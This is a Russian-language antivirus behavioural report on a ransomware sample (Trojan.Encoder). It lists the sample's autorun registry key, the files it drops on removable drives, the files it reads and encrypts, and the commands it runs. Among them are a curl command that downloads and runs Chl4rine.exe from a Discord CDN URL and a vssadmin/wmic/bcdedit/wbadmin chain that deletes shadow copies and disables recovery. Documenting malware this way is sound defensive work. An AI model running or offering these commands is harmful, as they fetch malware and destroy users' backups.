Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'discord' = '%LOCALAPPDATA%\discord.exe'
Создает следующие файлы на съемном носителе
- <Имя диска съемного носителя>:\officesetup.exe
Вредоносные функции
Для затруднения выявления своего присутствия в системе
удаляет теневые копии разделов.
Читает файлы, отвечающие за хранение паролей сторонними программами
- %HOMEPATH%\desktop\alert.htm
- %HOMEPATH%\desktop\sdszfo.docx
- %HOMEPATH%\desktop\pmd.cer
- %HOMEPATH%\desktop\iisstart.htm
- %HOMEPATH%\desktop\holycrosschurchinstructions.docx
- %HOMEPATH%\desktop\hanni_umami_chapter.doc
- %HOMEPATH%\desktop\file_p_00000000_1371597592.docx
- %HOMEPATH%\desktop\toolbar.bmp
- %HOMEPATH%\desktop\fi51.doc
- %HOMEPATH%\desktop\dashborder_192.bmp
- %HOMEPATH%\desktop\dashborder_120.bmp
- %HOMEPATH%\desktop\cveuropeo.doc
- %HOMEPATH%\desktop\contoso_1.cer
- %HOMEPATH%\desktop\contosoroot.cer
- %HOMEPATH%\desktop\contoso.cer
- %HOMEPATH%\desktop\dashborder_96.bmp
- %HOMEPATH%\desktop\tree_view.htm
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\discord.exe
- %APPDATA%\id
- %APPDATA%\fondo_antiguo.jpg
- %HOMEPATH%\pictures\imagejq4ocbxysintawcvgtqjugqqktoxng.jpg
- %HOMEPATH%\desktop\a t o m i x.txt
- %HOMEPATH%\downloads\a t o m i x.txt
- %HOMEPATH%\documents\a t o m i x.txt
- %HOMEPATH%\pictures\a t o m i x.txt
- %HOMEPATH%\music\a t o m i x.txt
- %HOMEPATH%\videos\a t o m i x.txt
- %APPDATA%\a t o m i x.txt
- %APPDATA%\usb_maker.bat
- D:\officesetup.exe
Удаляет следующие файлы
- %HOMEPATH%\pictures\imagejq4ocbxysintawcvgtqjugqqktoxng.jpg
Изменяет следующие файлы
- %HOMEPATH%\desktop\alert.htm
- %HOMEPATH%\desktop\contoso.cer
- %HOMEPATH%\desktop\contosoroot.cer
- %HOMEPATH%\desktop\contoso_1.cer
- %HOMEPATH%\desktop\cveuropeo.doc
- %HOMEPATH%\desktop\dashborder_120.bmp
- %HOMEPATH%\desktop\dashborder_192.bmp
- %HOMEPATH%\desktop\dashborder_96.bmp
- %HOMEPATH%\desktop\fi51.doc
- %HOMEPATH%\desktop\icq.lnk
- %HOMEPATH%\desktop\mail.ru agent.lnk
- %HOMEPATH%\desktop\qip 2012.lnk
- %HOMEPATH%\desktop\telegram.lnk
- %HOMEPATH%\desktop\total commander 64 bit.lnk
Изменяет файл HOSTS.
Изменяет множество файлов пользовательских данных (Trojan.Encoder).
Изменяет расширения файлов пользовательских данных (Trojan.Encoder).
Другое
Ищет следующие окна
- ClassName: 'SystemTray_Main' WindowName: ''
Создает и запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c curl https://cdn.discordapp.com/attachments/864388121219170324/992751621647908904/Chl4rine.exe --output C:\Office.exe start C:\Office.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog ...' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\usb_maker.bat" "' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\notepad.exe' %APPDATA%\A T O M I X.txt
- '%WINDIR%\syswow64\cmd.exe' /c curl https://cdn.discordapp.com/attachments/864388121219170324/992751621647908904/Chl4rine.exe --output C:\Office.exe start C:\Office.exe
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog ...
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\usb_maker.bat" "
